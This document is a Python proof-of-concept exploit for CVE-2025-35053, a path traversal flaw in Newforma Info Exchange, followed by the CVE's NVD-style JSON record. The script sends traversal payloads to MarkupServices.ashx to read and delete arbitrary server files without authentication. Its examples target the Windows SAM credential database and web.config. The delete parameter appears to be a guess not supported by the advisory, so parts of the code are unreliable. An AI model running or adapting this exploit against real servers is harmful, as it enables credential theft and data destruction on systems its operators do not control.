CVE-2025-35053

# CVE-2025-35053 PoC - Newforma Info Exchange Arbitrary File Read/Delete # Vulnerability: Path Traversal in MarkupServices.ashx DownloadExportedPDF command # Affected: Newforma Info Exchange before 2023.1 import requests TARGET_URL = "https://target-host.com" ENDPOINT = "/UserWeb/Common/MarkupServices.ashx" def exploit_read_file(target_file_path): """ Exploit CVE-2025-35053 to read arbitrary files Uses path traversal to access files outside intended directory """ # Construct payload with path traversal payload = { "command": "DownloadExportedPDF", "fileName": f"..\\..\\..\\..\\{target_file_path}", # Alternative traversal patterns that may work: # "fileName": f"../../../../{target_file_path}", # "fileName": f"....//....//....//{target_file_path}", } # In versions before 2023.1, anonymous access is enabled by default # allowing exploitation without valid credentials session = requests.Session() response = session.post( f"{TARGET_URL}{ENDPOINT}", data=payload, verify=False ) return response.content def exploit_delete_file(target_file_path): """ Exploit CVE-2025-35053 to delete arbitrary files """ payload = { "command": "DownloadExportedPDF", "fileName": f"..\\..\\..\\..\\{target_file_path}", "action": "delete" } session = requests.Session() response = session.post( f"{TARGET_URL}{ENDPOINT}", data=payload, verify=False ) return response.status_code # Example usage - read sensitive Windows files if __name__ == "__main__": # Read Windows SAM database (example) # content = exploit_read_file("Windows\\System32\\config\\SAM") # Read application config # content = exploit_read_file("inetpub\\wwwroot\\web.config") # Delete a critical file (example) # status = exploit_delete_file("important_file.txt") print("CVE-2025-35053 PoC - Adjust TARGET_URL and target_file_path as needed")

{"cve": {"id": "CVE-2025-35053", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-09T21:15:36.203", "lastModified": "2025-10-22T16:09:44.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Newforma Info Exchange (NIX) accepts requests to '/UserWeb/Common/MarkupServices.ashx' specifying the 'DownloadExportedPDF' command that allow an authenticated user to read and delete arbitrary files with 'NT AUTHORITY\\NetworkService' privileges.\n\nIn Newforma before 2023.1, anonymous access is enabled by default (CVE-2025-35062), allowing an otherwise unauthenticated attacker to effectively authenticate as 'anonymous' and exploit this file upload vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:H/SC:L/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:*", "versionEndIncluding": "2024.3", "matchCriteriaId": "71630A80-6292-4C7B-A5C9-8C6877EE229E"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-282-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35053", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35062", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}